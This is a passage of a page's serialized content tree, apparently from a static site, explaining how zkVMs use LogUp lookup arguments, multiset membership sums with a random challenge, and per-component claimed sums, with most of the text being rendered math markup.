104],{"type":28,"value":112105},"Does this opcode decode correctly?",{"type":23,"tag":45,"props":112107,"children":112108},{},[112109],{"type":28,"value":112110},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":112112,"children":112113},{},[112114,112119],{"type":23,"tag":296,"props":112115,"children":112116},{},[112117],{"type":28,"value":112118},"The naive approach:",{"type":28,"value":112120}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":112122,"children":112123},{},[112124,112129,112131,112136],{"type":23,"tag":296,"props":112125,"children":112126},{},[112127],{"type":28,"value":112128},"The clever approach:",{"type":28,"value":112130}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":296,"props":112132,"children":112133},{},[112134],{"type":28,"value":112135},"multiset membership",{"type":28,"value":66776},{"type":23,"tag":24,"props":112138,"children":112139},{},[112140,112145],{"type":23,"tag":296,"props":112141,"children":112142},{},[112143],{"type":28,"value":112144},"LogUp (Logarithmic Derivative):",{"type":28,"value":112146}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":112148,"children":112149},{},[112150,112152,112177,112179,112206],{"type":28,"value":112151},"If set ",{"type":23,"tag":56,"props":112153,"children":112155},{"className":112154},[2960,2961],[112156],{"type":23,"tag":504,"props":112157,"children":112159},{"className":112158},[2966],[112160],{"type":23,"tag":504,"props":112161,"children":112163},{"className":112162,"ariaHidden":2972},[2971],[112164],{"type":23,"tag":504,"props":112165,"children":112167},{"className":112166},[2977],[112168,112172],{"type":23,"tag":504,"props":112169,"children":112171},{"className":112170,"style":20564},[2982],[],{"type":23,"tag":504,"props":112173,"children":112175},{"className":112174},[2988,20569],[112176],{"type":28,"value":75518},{"type":28,"value":112178}," should equal set ",{"type":23,"tag":56,"props":112180,"children":112182},{"className":112181},[2960,2961],[112183],{"type":23,"tag":504,"props":112184,"children":112186},{"className":112185},[2966],[112187],{"type":23,"tag":504,"props":112188,"children":112190},{"className":112189,"ariaHidden":2972},[2971],[112191],{"type":23,"tag":504,"props":112192,"children":112194},{"className":112193},[2977],[112195,112199],{"type":23,"tag":504,"props":112196,"children":112198},{"className":112197,"style":20564},[2982],[],{"type":23,"tag":504,"props":112200,"children":112203},{"className":112201,"style":112202},[2988,20569],"margin-right:0.05017em;",[112204],{"type":28,"value":112205},"B",{"type":28,"value":112207}," as multisets:",{"type":23,"tag":24,"props":112209,"children":112210},{},[112211],{"type":23,"tag":56,"props":112212,"children":112214},{"className":112213},[2960,2961],[112215],{"type":23,"tag":504,"props":112216,"children":112218},{"className":112217},[2966],[112219],{"type":23,"tag":504,"props":112220,"children":112222},{"className":112221,"ariaHidden":2972},[2971],[112223,112438],{"type":23,"tag":504,"props":112224,"children":112226},{"className":112225},[2977],[112227,112232,112305,112309,112425,112429,112434],{"type":23,"tag":504,"props":112228,"children":112231},{"className":112229,"style":112230},[2982],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":504,"props":112233,"children":112235},{"className":112234},[20605],[112236,112241],{"type":23,"tag":504,"props":112237,"children":112239},{"className":112238,"style":20612},[20605,20610,20611],[112240],{"type":28,"value":107593},{"type":23,"tag":504,"props":112242,"children":112244},{"className":112243},[3005],[112245],{"type":23,"tag":504,"props":112246,"children":112248},{"className":112247},[3010,20623],[112249,112293],{"type":23,"tag":504,"props":112250,"children":112252},{"className":112251},[3015],[112253,112288],{"type":23,"tag":504,"props":112254,"children":112257},{"className":112255,"style":112256},[3020],"height:0.1786em;",[112258],{"type":23,"tag":504,"props":112259,"children":112260},{"style":20636},[112261,112265],{"type":23,"tag":504,"props":112262,"children":112264},{"className":112263,"style":3030},[3029],[],{"type":23,"tag":504,"props":112266,"children":112268},{"className":112267},[3035,3036,3037,3038],[112269],{"type":23,"tag":504,"props":112270,"children":112272},{"className":112271},[2988,3038],[112273,112278,112283],{"type":23,"tag":504,"props":112274,"children":112276},{"className":112275},[2988,20569,3038],[112277],{"type":28,"value":92},{"type":23,"tag":504,"props":112279,"children":112281},{"className":112280},[3172,3038],[112282],{"type":28,"value":20676},{"type":23,"tag":504,"props":112284,"children":112286},{"className":112285},[2988,20569,3038],[112287],{"type":28,"value":75518},{"type":23,"tag":504,"props":112289,"children":112291},{"className":112290},[20726],[112292],{"type":28,"value":20729},{"type":23,"tag":504,"props":112294,"children":112296},{"className":112295},[3015],[112297],{"type":23,"tag":504,"props":112298,"children":112301},{"className":112299,"style":112300},[3020],"height:0.3271em;",[112302],{"type":23,"tag":504,"props":112303,"children":112304},{},[],{"type":23,"tag":504,"props":112306,"children":112308},{"className":112307,"style":3108},[3069],[],{"type":23,"tag":504,"props":112310,"children":112312},{"className":112311},[2988],[112313,112318,112421],{"type":23,"tag":504,"props":112314,"children":112317},{"className":112315},[20698,112316],"nulldelimiter",[],{"type":23,"tag":504,"props":112319,"children":112322},{"className":112320},[112321],"mfrac",[112323],{"type":23,"tag":504,"props":112324,"children":112326},{"className":112325},[3010,20623],[112327,112409],{"type":23,"tag":504,"props":112328,"children":112330},{"className":112329},[3015],[112331,112404],{"type":23,"tag":504,"props":112332,"children":112335},{"className":112333,"style":112334},[3020],"height:0.8451em;",[112336,112369,112383],{"type":23,"tag":504,"props":112337,"children":112339},{"style":112338},"top:-2.655em;",[112340,112344],{"type":23,"tag":504,"props":112341,"children":112343},{"className":112342,"style":110969},[3029],[],{"type":23,"tag":504,"props":112345,"children":112347},{"className":112346},[3035,3036,3037,3038],[112348],{"type":23,"tag":504,"props":112349,"children":112351},{"className":112350},[2988,3038],[112352,112359,112364],{"type":23,"tag":504,"props":112353,"children":112356},{"className":112354,"style":112355},[2988,20569,3038],"margin-right:0.04398em;",[112357],{"type":28,"value":112358},"z",{"type":23,"tag":504,"props":112360,"children":112362},{"className":112361},[3075,3038],[112363],{"type":28,"value":3049},{"type":23,"tag":504,"props":112365,"children":112367},{"className":112366},[2988,20569,3038],[112368],{"type":28,"value":92},{"type":23,"tag":504,"props":112370,"children":112372},{"style":112371},"top:-3.23em;",[112373,112377],{"type":23,"tag":504,"props":112374,"children":112376},{"className":112375,"style":110969},[3029],[],{"type":23,"tag":504,"props":112378,"children":112382},{"className":112379,"style":112381},[112380],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":504,"props":112384,"children":112386},{"style":112385},"top:-3.394em;",[112387,112391],{"type":23,"tag":504,"props":112388,"children":112390},{"className":112389,"style":110969},[3029],[],{"type":23,"tag":504,"props":112392,"children":112394},{"className":112393},[3035,3036,3037,3038],[112395],{"type":23,"tag":504,"props":112396,"children":112398},{"className":112397},[2988,3038],[112399],{"type":23,"tag":504,"props":112400,"children":112402},{"className":112401},[2988,3038],[112403],{"type":28,"value":2991},{"type":23,"tag":504,"props":112405,"children":112407},{"className":112406},[20726],[112408],{"type":28,"value":20729},{"type":23,"tag":504,"props":112410,"children":112412},{"className":112411},[3015],[112413],{"type":23,"tag":504,"props":112414,"children":112417},{"className":112415,"style":112416},[3020],"height:0.4033em;",[112418],{"type":23,"tag":504,"props":112419,"children":112420},{},[],{"type":23,"tag":504,"props":112422,"children":112424},{"className":112423},[20720,112316],[],{"type":23,"tag":504,"props":112426,"children":112428},{"className":112427,"style":3167},[3069],[],{"type":23,"tag":504,"props":112430,"children":112432},{"className":112431},[3172],[112433],{"type":28,"value":601},{"type":23,"tag":504,"props":112435,"children":112437},{"className":112436,"style":3167},[3069],[],{"type":23,"tag":504,"props":112439,"children":112441},{"className":112440},[2977],[112442,112446,112518,112522],{"type":23,"tag":504,"props":112443,"children":112445},{"className":112444,"style":112230},[2982],[],{"type":23,"tag":504,"props":112447,"children":112449},{"className":112448},[20605],[112450,112455],{"type":23,"tag":504,"props":112451,"children":112453},{"className":112452,"style":20612},[20605,20610,20611],[112454],{"type":28,"value":107593},{"type":23,"tag":504,"props":112456,"children":112458},{"className":112457},[3005],[112459],{"type":23,"tag":504,"props":112460,"children":112462},{"className":112461},[3010,20623],[112463,112507],{"type":23,"tag":504,"props":112464,"children":112466},{"className":112465},[3015],[112467,112502],{"type":23,"tag":504,"props":112468,"children":112471},{"className":112469,"style":112470},[3020],"height:0.1864em;",[112472],{"type":23,"tag":504,"props":112473,"children":112474},{"style":20636},[112475,112479],{"type":23,"tag":504,"props":112476,"children":112478},{"className":112477,"style":3030},[3029],[],{"type":23,"tag":504,"props":112480,"children":112482},{"className":112481},[3035,3036,3037,3038],[112483],{"type":23,"tag":504,"props":112484,"children":112486},{"className":112485},[2988,3038],[112487,112492,112497],{"type":23,"tag":504,"props":112488,"children":112490},{"className":112489},[2988,20569,3038],[112491],{"type":28,"value":2200},{"type":23,"tag":504,"props":112493,"children":112495},{"className":112494},[3172,3038],[112496],{"type":28,"value":20676},{"type":23,"tag":504,"props":112498,"children":112500},{"className":112499,"style":112202},[2988,20569,3038],[112501],{"type":28,"value":112205},{"type":23,"tag":504,"props":112503,"children":112505},{"className":112504},[20726],[112506],{"type":28,"value":20729},{"type":23,"tag":504,"props":112508,"children":112510},{"className":112509},[3015],[112511],{"type":23,"tag":504,"props":112512,"children":112514},{"className":112513,"style":112300},[3020],[112515],{"type":23,"tag":504,"props":112516,"children":112517},{},[],{"type":23,"tag":504,"props":112519,"children":112521},{"className":112520,"style":3108},[3069],[],{"type":23,"tag":504,"props":112523,"children":112525},{"className":112524},[2988],[112526,112530,112623],{"type":23,"tag":504,"props":112527,"children":112529},{"className":112528},[20698,112316],[],{"type":23,"tag":504,"props":112531,"children":112533},{"className":112532},[112321],[112534],{"type":23,"tag":504,"props":112535,"children":112537},{"className":112536},[3010,20623],[112538,112612],{"type":23,"tag":504,"props":112539,"children":112541},{"className":112540},[3015],[112542,112607],{"type":23,"tag":504,"props":112543,"children":112545},{"className":112544,"style":112334},[3020],[112546,112576,112587],{"type":23,"tag":504,"props":112547,"children":112548},{"style":112338},[112549,112553],{"type":23,"tag":504,"props":112550,"children":112552},{"className":112551,"style":110969},[3029],[],{"type":23,"tag":504,"props":112554,"children":112556},{"className":112555},[3035,3036,3037,3038],[112557],{"type":23,"tag":504,"props":112558,"children":112560},{"className":112559},[2988,3038],[112561,112566,112571],{"type":23,"tag":504,"props":112562,"children":112564},{"className":112563,"style":112355},[2988,20569,3038],[112565],{"type":28,"value":112358},{"type":23,"tag":504,"props":112567,"children":112569},{"className":112568},[3075,3038],[112570],{"type":28,"value":3049},{"type":23,"tag":504,"props":112572,"children":112574},{"className":112573},[2988,20569,3038],[112575],{"type":28,"value":2200},{"type":23,"tag":504,"props":112577,"children":112578},{"style":112371},[112579,112583],{"type":23,"tag":504,"props":112580,"children":112582},{"className":112581,"style":110969},[3029],[],{"type":23,"tag":504,"props":112584,"children":112586},{"className":112585,"style":112381},[112380],[],{"type":23,"tag":504,"props":112588,"children":112589},{"style":112385},[112590,112594],{"type":23,"tag":504,"props":112591,"children":112593},{"className":112592,"style":110969},[3029],[],{"type":23,"tag":504,"props":112595,"children":112597},{"className":112596},[3035,3036,3037,3038],[112598],{"type":23,"tag":504,"props":112599,"children":112601},{"className":112600},[2988,3038],[112602],{"type":23,"tag":504,"props":112603,"children":112605},{"className":112604},[2988,3038],[112606],{"type":28,"value":2991},{"type":23,"tag":504,"props":112608,"children":112610},{"className":112609},[20726],[112611],{"type":28,"value":20729},{"type":23,"tag":504,"props":112613,"children":112615},{"className":112614},[3015],[112616],{"type":23,"tag":504,"props":112617,"children":112619},{"className":112618,"style":112416},[3020],[112620],{"type":23,"tag":504,"props":112621,"children":112622},{},[],{"type":23,"tag":504,"props":112624,"children":112626},{"className":112625},[20720,112316],[],{"type":23,"tag":24,"props":112628,"children":112629},{},[112630,112632,112657],{"type":28,"value":112631},"for random challenge ",{"type":23,"tag":56,"props":112633,"children":112635},{"className":112634},[2960,2961],[112636],{"type":23,"tag":504,"props":112637,"children":112639},{"className":112638},[2966],[112640],{"type":23,"tag":504,"props":112641,"children":112643},{"className":112642,"ariaHidden":2972},[2971],[112644],{"type":23,"tag":504,"props":112645,"children":112647},{"className":112646},[2977],[112648,112652],{"type":23,"tag":504,"props":112649,"children":112651},{"className":112650,"style":109639},[2982],[],{"type":23,"tag":504,"props":112653,"children":112655},{"className":112654,"style":112355},[2988,20569],[112656],{"type":28,"value":112358},{"type":28,"value":112658},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":112660,"children":112661},{},[112662,112667],{"type":23,"tag":296,"props":112663,"children":112664},{},[112665],{"type":28,"value":112666},"In zkVMs:",{"type":28,"value":112668}," Different components emit and consume lookup tuples:",{"type":23,"tag":350,"props":112670,"children":112671},{},[112672,112759],{"type":23,"tag":45,"props":112673,"children":112674},{},[112675,112677,112703,112705,112730,112732,112758],{"type":28,"value":112676},"CPU emits: \"I read value ",{"type":23,"tag":56,"props":112678,"children":112680},{"className":112679},[2960,2961],[112681],{"type":23,"tag":504,"props":112682,"children":112684},{"className":112683},[2966],[112685],{"type":23,"tag":504,"props":112686,"children":112688},{"className":112687,"ariaHidden":2972},[2971],[112689],{"type":23,"tag":504,"props":112690,"children":112692},{"className":112691},[2977],[112693,112697],{"type":23,"tag":504,"props":112694,"children":112696},{"className":112695,"style":109639},[2982],[],{"type":23,"tag":504,"props":112698,"children":112700},{"className":112699,"style":92284},[2988,20569],[112701],{"type":28,"value":112702},"v",{"type":28,"value":112704}," from address ",{"type":23,"tag":56,"props":112706,"children":112708},{"className":112707},[2960,2961],[112709],{"type":23,"tag":504,"props":112710,"children":112712},{"className":112711},[2966],[112713],{"type":23,"tag":504,"props":112714,"children":112716},{"className":112715,"ariaHidden":2972},[2971],[112717],{"type":23,"tag":504,"props":112718,"children":112720},{"className":112719},[2977],[112721,112725],{"type":23,"tag":504,"props":112722,"children":112724},{"className":112723,"style":109639},[2982],[],{"type":23,"tag":504,"props":112726,"children":112728},{"className":112727},[2988,20569],[112729],{"type":28,"value":92},{"type":28,"value":112731}," at time ",{"type":23,"tag":56,"props":112733,"children":112735},{"className":112734},[2960,2961],[112736],{"type":23,"tag":504,"props":112737,"children":112739},{"className":112738},[2966],[112740],{"type":23,"tag":504,"props":112741,"children":112743},{"className":112742,"ariaHidden":2972},[2971],[112744],{"type":23,"tag":504,"props":112745,"children":112747},{"className":112746},[2977],[112748,112753],{"type":23,"tag":504,"props":112749,"children":112752},{"className":112750,"style":112751},[2982],"height:0.6151em;",[],{"type":23,"tag":504,"props":112754,"children":112756},{"className":112755},[2988,20569],[112757],{"type":28,"value":20711},{"type":28,"value":1268},{"type":23,"tag":45,"props":112760,"children":112761},{},[112762,112764,112789,112791,112816,112818,112843],{"type":28,"value":112763},"Memory table consumes: \"At time ",{"type":23,"tag":56,"props":112765,"children":112767},{"className":112766},[2960,2961],[112768],{"type":23,"tag":504,"props":112769,"children":112771},{"className":112770},[2966],[112772],{"type":23,"tag":504,"props":112773,"children":112775},{"className":112774,"ariaHidden":2972},[2971],[112776],{"type":23,"tag":504,"props":112777,"children":112779},{"className":112778},[2977],[112780,112784],{"type":23,"tag":504,"props":112781,"children":112783},{"className":112782,"style":112751},[2982],[],{"type":23,"tag":504,"props":112785,"children":112787},{"className":112786},[2988,20569],[112788],{"type":28,"value":20711},{"type":28,"value":112790},", address ",{"type":23,"tag":56,"props":112792,"children":112794},{"className":112793},[2960,2961],[112795],{"type":23,"tag":504,"props":112796,"children":112798},{"className":112797},[2966],[112799],{"type":23,"tag":504,"props":112800,"children":112802},{"className":112801,"ariaHidden":2972},[2971],[112803],{"type":23,"tag":504,"props":112804,"children":112806},{"className":112805},[2977],[112807,112811],{"type":23,"tag":504,"props":112808,"children":112810},{"className":112809,"style":109639},[2982],[],{"type":23,"tag":504,"props":112812,"children":112814},{"className":112813},[2988,20569],[112815],{"type":28,"value":92},{"type":28,"value":112817}," contained ",{"type":23,"tag":56,"props":112819,"children":112821},{"className":112820},[2960,2961],[112822],{"type":23,"tag":504,"props":112823,"children":112825},{"className":112824},[2966],[112826],{"type":23,"tag":504,"props":112827,"children":112829},{"className":112828,"ariaHidden":2972},[2971],[112830],{"type":23,"tag":504,"props":112831,"children":112833},{"className":112832},[2977],[112834,112838],{"type":23,"tag":504,"props":112835,"children":112837},{"className":112836,"style":109639},[2982],[],{"type":23,"tag":504,"props":112839,"children":112841},{"className":112840,"style":92284},[2988,20569],[112842],{"type":28,"value":112702},{"type":28,"value":1268},{"type":23,"tag":24,"props":112845,"children":112846},{},[112847],{"type":28,"value":112848},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":112850,"children":112851},{},[112852,112857],{"type":23,"tag":296,"props":112853,"children":112854},{},[112855],{"type":28,"value":112856},"The claimed_sum:",{"type":28,"value":112858}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":112860,"children":112861},{},[112862],{"type":23,"tag":56,"props":112863,"children":112865},{"className":112864},[2960,2961],[112866],{"type":23,"tag":504,"props":112867,"children":112869},{"className":112868},[2966],[112870],{"type":23,"tag":504,"props":112871,"children":112873},{"className":112872,"ariaHidden":2972},[2971],[112874,112972,113223],{"type":23,"tag":504,"props":112875,"children":112877},{"className":112876},[2977],[112878,112882,112892,112897,112959,112963,112968],{"type":23,"tag":504,"props":112879,"children":112881},{"className":112880,"style":93211},[2982],[],{"type":23,"tag":504,"props":112883,"children":112885},{"className":112884},[2988,28],[112886],{"type":23,"tag":504,"props":112887,"children":112889},{"className":112888},[2988],[112890],{"type":28,"value":112891},"claimed",{"type":23,"tag":504,"props":112893,"children":112895},{"className":112894,"style":91798},[2988],[112896],{"type":28,"value":2059},{"type":23,"tag":504,"props":112898,"children":112900},{"className":112899},[2988],[112901,112910],{"type":23,"tag":504,"props":112902,"children":112904},{"className":112903},[2988,28],[112905],{"type":23,"tag":504,"props":112906,"children":112908},{"className":112907},[2988],[112909],{"type":28,"value":75383},{"type":23,"tag":504,"props":112911,"children":112913},{"className":112912},[3005],[112914],{"type":23,"tag":504,"props":112915,"children":112917},{"className":112916},[3010,20623],[112918,112948],{"type":23,"tag":504,"props":112919,"children":112921},{"className":112920},[3015],[112922,112943],{"type":23,"tag":504,"props":112923,"children":112925},{"className":112924,"style":92327},[3020],[112926],{"type":23,"tag":504,"props":112927,"children":112929},{"style":112928},"top:-2.55em;margin-right:0.05em;",[112930,112934],{"type":23,"tag":504,"props":112931,"children":112933},{"className":112932,"style":3030},[3029],[],{"type":23,"tag":504,"props":112935,"children":112937},{"className":112936},[3035,3036,3037,3038],[112938],{"type":23,"tag":504,"props":112939,"children":112941},{"className":112940},[2988,20569,3038],[112942],{"type":28,"value":2716},{"type":23,"tag":504,"props":112944,"children":112946},{"className":112945},[20726],[112947],{"type":28,"value":20729},{"type":23,"tag":504,"props":112949,"children":112951},{"className":112950},[3015],[112952],{"type":23,"tag":504,"props":112953,"children":112955},{"className":112954,"style":91881},[3020],[112956],{"type":23,"tag":504,"props":112957,"children":112958},{},[],{"type":23,"tag":504,"props":112960,"children":112962},{"className":112961,"style":3167},[3069],[],{"type":23,"tag":504,"props":112964,"children":112966},{"className":112965},[3172],[112967],{"type":28,"value":601},{"type":23,"tag":504,"props":112969,"children":112971},{"className":112970,"style":3167},[3069],[],{"type":23,"tag":504,"props":112973,"children":112975},{"className":112974},[2977],[112976,112981,113041,113045,113210,113214,113219],{"type":23,"tag":504,"props":112977,"children":112980},{"className":112978,"style":112979},[2982],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":504,"props":112982,"children":112984},{"className":112983},[20605],[112985,112990],{"type":23,"tag":504,"props":112986,"children":112988},{"className":112987,"style":20612},[20605,20610,20611],[112989],{"type":28,"value":107593},{"type":23,"tag":504,"props":112991,"children":112993},{"className":112992},[3005],[112994],{"type":23,"tag":504,"props":112995,"children":112997},{"className":112996},[3010,20623],[112998,113029],{"type":23,"tag":504,"props":112999,"children":113001},{"className":113000},[3015],[113002,113024],{"type":23,"tag":504,"props":113003,"children":113006},{"className":113004,"style":113005},[3020],"height:0.162em;",[113007],{"type":23,"tag":504,"props":113008,"children":113009},{"style":20636},[113010,113014],{"type":23,"tag":504,"props":113011,"children":113013},{"className":113012,"style":3030},[3029],[],{"type":23,"tag":504,"props":113015,"children":113017},{"className":113016},[3035,3036,3037,3038],[113018],{"type":23,"tag":504,"props":113019,"children":113022},{"className":113020,"style":113021},[2988,20569,3038],"margin-right:0.05724em;",[113023],{"type":28,"value":7640},{"type":23,"tag":504,"props":113025,"children":113027},{"className":113026},[20726],[113028],{"type":28,"value":20729},{"type":23,"tag":504,"props":113030,"children":113032},{"className":113031},[3015],[113033],{"type":23,"tag":504,"props":113034,"children":113037},{"className":113035,"style":113036},[3020],"height:0.4358em;",[113038],{"type":23,"tag":504,"props":113039,"children":113040},{},[],{"type":23,"tag":504,"props":113042,"children":113044},{"className":113043,"style":3108},[3069],[],{"type":23,"tag":504,"props":113046,"children":113048},{"className":113047},[2988],[113049,113053,113206],{"type":23,"tag":504,"props":113050,"children":113052},{"className":113051},[20698,112316],[],{"type":23,"tag":504,"props":113054,"children":113056},{"className":113055},[112321],[113057],{"type":23,"tag":504,"props":113058,"children":113060},{"className":113059},[3010,20623],[113061,113194],{"type":23,"tag":504,"props":113062,"children":113064},{"className":113063},[3015],[113065,113189],{"type":23,"tag":504,"props":113066,"children":113068},{"className":113067,"style":112334},[3020],[113069,113158,113169],{"type":23,"tag":504,"props":113070,"children":113071},{"style":112338},[113072,113076],{"type":23,"tag":504,"props":113073,"children":113075},{"className":113074,"style":110969},[3029],[],{"type":23,"tag":504,"props":113077,"children":113079},{"className":113078},[3035,3036,3037,3038],[113080],{"type":23,"tag":504,"props":113081,"children":113083},{"className":113082},[2988,3038],[113084,113089,113094],{"type":23,"tag":504,"props":113085,"children":113087},{"className":113086,"style":112355},[2988,20569,3038],[113088],{"type":28,"value":112358},{"type":23,"tag":504,"props":113090,"children":113092},{"className":113091},[3075,3038],[113093],{"type":28,"value":3049},{"type":23,"tag":504,"props":113095,"children":113097},{"className":113096},[2988,3038],[113098,113107],{"type":23,"tag":504,"props":113099,"children":113101},{"className":113100},[2988,28,3038],[113102],{"type":23,"tag":504,"props":113103,"children":113105},{"className":113104},[2988,3038],[113106],{"type":28,"value":60987},{"type":23,"tag":504,"props":113108,"children":113110},{"className":113109},[3005],[113111],{"type":23,"tag":504,"props":113112,"children":113114},{"className":113113},[3010,20623],[113115,113146],{"type":23,"tag":504,"props":113116,"children":113118},{"className":113117},[3015],[113119,113141],{"type":23,"tag":504,"props":113120,"children":113123},{"className":113121,"style":113122},[3020],"height:0.3281em;",[113124],{"type":23,"tag":504,"props":113125,"children":113127},{"style":113126},"top:-2.357em;margin-right:0.0714em;",[113128,113132],{"type":23,"tag":504,"props":113129,"children":113131},{"className":113130,"style":107658},[3029],[],{"type":23,"tag":504,"props":113133,"children":113135},{"className":113134},[3035,107663,107664,3038],[113136],{"type":23,"tag":504,"props":113137,"children":113139},{"className":113138,"style":113021},[2988,20569,3038],[113140],{"type":28,"value":7640},{"type":23,"tag":504,"props":113142,"children":113144},{"className":113143},[20726],[113145],{"type":28,"value":20729},{"type":23,"tag":504,"props":113147,"children":113149},{"className":113148},[3015],[113150],{"type":23,"tag":504,"props":113151,"children":113154},{"className":113152,"style":113153},[3020],"height:0.2819em;",[113155],{"type":23,"tag":504,"props":113156,"children":113157},{},[],{"type":23,"tag":504,"props":113159,"children":113160},{"style":112371},[113161,113165],{"type":23,"tag":504,"props":113162,"children":113164},{"className":113163,"style":110969},[3029],[],{"type":23,"tag":504,"props":113166,"children":113168},{"className":113167,"style":112381},[112380],[],{"type":23,"tag":504,"props":113170,"children":113171},{"style":112385},[113172,113176],{"type":23,"tag":504,"props":113173,"children":113175},{"className":113174,"style":110969},[3029],[],{"type":23,"tag":504,"props":113177,"children":113179},{"className":113178},[3035,3036,3037,3038],[113180],{"type":23,"tag":504,"props":113181,"children":113183},{"className":113182},[2988,3038],[113184],{"type":23,"tag":504,"props":113185,"children":113187},{"className":113186},[2988,3038],[113188],{"type":28,"value":2991},{"type":23,"tag":504,"props":113190,"children":113192},{"className":113191},[20726],[113193],{"type":28,"value":20729},{"type":23,"tag":504,"props":113195,"children":113197},{"className":113196},[3015],[113198],{"type":23,"tag":504,"props":113199,"children":113202},{"className":113200,"style":113201},[3020],"height:0.5423em;",[113203],{"type":23,"tag":504,"props":113204,"children":113205},{},[],{"type":23,"tag":504,"props":113207,"children":113209},{"className":113208},[20720,112316],[],{"type":23,"tag":504,"props":113211,"children":113213},{"className":113212,"style":3070},[3069],[],{"type":23,"tag":504,"props":113215,"children":113217},{"className":113216},[3075],[113218],{"type":28,"value":3049},{"type":23,"tag":504,"props":113220,"children":113222},{"className":113221,"style":3070},[3069],[],{"type":23,"tag":504,"props":113224,"children":113226},{"className":113225},[2977],[113227,113232,113290,113294],{"type":23,"tag":504,"props":113228,"children":113231},{"className":113229,"style":113230},[2982],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":504,"props":113233,"children":113235},{"className":113234},[20605],[113236,113241],{"type":23,"tag":504,"props":113237,"children":113239},{"className":113238,"style":20612},[20605,20610,20611],[113240],{"type":28,"value":107593},{"type":23,"tag":504,"props":113242,"children":113244},{"className":113243},[3005],[113245],{"type":23,"tag":504,"props":113246,"children":113248},{"className":113247},[3010,20623],[113249,113278],{"type":23,"tag":504,"props":113250,"children":113252},{"className":113251},[3015],[113253,113273],{"type":23,"tag":504,"props":113254,"children":113256},{"className":113255,"style":112470},[3020],[113257],{"type":23,"tag":504,"props":113258,"children":113259},{"style":20636},[113260,113264],{"type":23,"tag":504,"props":113261,"children":113263},{"className":113262,"style":3030},[3029],[],{"type":23,"tag":504,"props":113265,"children":113267},{"className":113266},[3035,3036,3037,3038],[113268],{"type":23,"tag":504,"props":113269,"children":113271},{"className":113270,"style":93227},[2988,20569,3038],[113272],{"type":28,"value":87435},{"type":23,"tag":504,"props":113274,"children":113276},{"className":113275},[20726],[113277],{"type":28,"value":20729},{"type":23,"tag":504,"props":113279,"children":113281},{"className":113280},[3015],[113282],{"type":23,"tag":504,"props":113283,"children":113286},{"className":113284,"style":113285},[3020],"height:0.2997em;",[113287],{"type":23,"tag":504,"props":113288,"children":113289},{},[],{"type":23,"tag":504,"props":113291,"children":113293},{"className":113292,"style":3108},[3069],[],{"type":23,"tag":504,"props":113295,"children":113297},{"className":113296},[2988],[113298,113302,113455],{"type":23,"tag":504,"props":113299,"children":113301},{"className":113300},[20698,112316],[],{"type":23,"tag":504,"props":113303,"children":113305},{"className":113304},[112321],[113306],{"type":23,"tag":504,"props":113307,"children":113309},{"className":113308},[3010,20623],[113310,113443],{"type":23,"tag":504,"props":113311,"children":113313},{"className":113312},[3015],[113314,113438],{"type":23,"tag":504,"props":113315,"children":113317},{"className":113316,"style":112334},[3020],[113318,113407,113418],{"type":23,"tag":504,"props":113319,"children":113320},{"style":112338},[113321,113325],{"type":23,"tag":504,"props":113322,"children":113324},{"className":113323,"style":110969},[3029],[],{"type":23,"tag":504,"props":113326,"children":113328},{"className":113327},[3035,3036,3037,3038],[113329],{"type":23,"tag":504,"props":113330,"children":113332},{"className":113331},[2988,3038],[113333,113338,113343],{"type":23,"tag":504,"props":113334,"children":113336},{"className":113335,"style":112355},[2988,20569,3038],[113337],{"type":28,"value":112358},{"type":23,"tag":504,"props":113339,"children":113341},{"className":113340},[3075,3038],[113342],{"type":28,"value":3049},{"type":23,"tag":504,"props":113344,"children":113346},{"className":113345},[2988,3038],[113347,113357],{"type":23,"tag":504,"props":113348,"children":113350},{"className":113349},[2988,28,3038],[113351],{"type":23,"tag":504,"props":113352,"children":113354},{"className":113353},[2988,3038],[113355],{"type":28,"value":113356},"consume",{"type":23,"tag":504,"props":113358,"children":113360},{"className":113359},[3005],[113361],{"type":23,"tag":504,"props":113362,"children":113364},{"className":113363},[3010,20623],[113365,113395],{"type":23,"tag":504,"props":113366,"children":113368},{"className":113367},[3015],[113369,113390],{"type":23,"tag":504,"props":113370,"children":113372},{"className":113371,"style":111130},[3020],[113373],{"type":23,"tag":504,"props":113374,"children":113376},{"style":113375},"top:-2.3488em;margin-right:0.0714em;",[113377,113381],{"type":23,"tag":504,"props":113378,"children":113380},{"className":113379,"style":107658},[3029],[],{"type":23,"tag":504,"props":113382,"children":113384},{"className":113383},[3035,107663,107664,3038],[113385],{"type":23,"tag":504,"props":113386,"children":113388},{"className":113387,"style":93227},[2988,20569,3038],[113389],{"type":28,"value":87435},{"type":23,"tag":504,"props":113391,"children":113393},{"className":113392},[20726],[113394],{"type":28,"value":20729},{"type":23,"tag":504,"props":113396,"children":113398},{"className":113397},[3015],[113399],{"type":23,"tag":504,"props":113400,"children":113403},{"className":113401,"style":113402},[3020],"height:0.1512em;",[113404],{"type":23,"tag":504,"props":113405,"children":113406},{},[],{"type":23,"tag":504,"props":113408,"children":113409},{"style":112371},[113410,113414],{"type":23,"tag":504,"props":113411,"children":113413},{"className":113412,"style":110969},[3029],[],{"type":23,"tag":504,"props":113415,"children":113417},{"className":113416,"style":112381},[112380],[],{"type":23,"tag":504,"props":113419,"children":113420},{"style":112385},[113421,113425],{"type":23,"tag":504,"props":113422,"children":113424},{"className":113423,"style":110969},[3029],[],{"type":23,"tag":504,"props":113426,"children":113428},{"className":113427},[3035,3036,3037,3038],[113429],{"type":23,"tag":504,"props":113430,"children":113432},{"className":113431},[2988,3038],[113433],{"type":23,"tag":504,"props":113434,"children":113436},{"className":113435},[2988,3038],[113437],{"type":28,"value":2991},{"type":23,"tag":504,"props":113439,"children":113441},{"className":113440},[20726],[113442],{"type":28,"value":20729},{"type":23,"tag":504,"props":113444,"children":113446},{"className":113445},[3015],[113447],{"type":23,"tag":504,"props":113448,"children":113451},{"className":113449,"style":113450},[3020],"height:0.4509em;",[113452],{"type":23,"tag":504,"props":113453,"children":113454},{},[]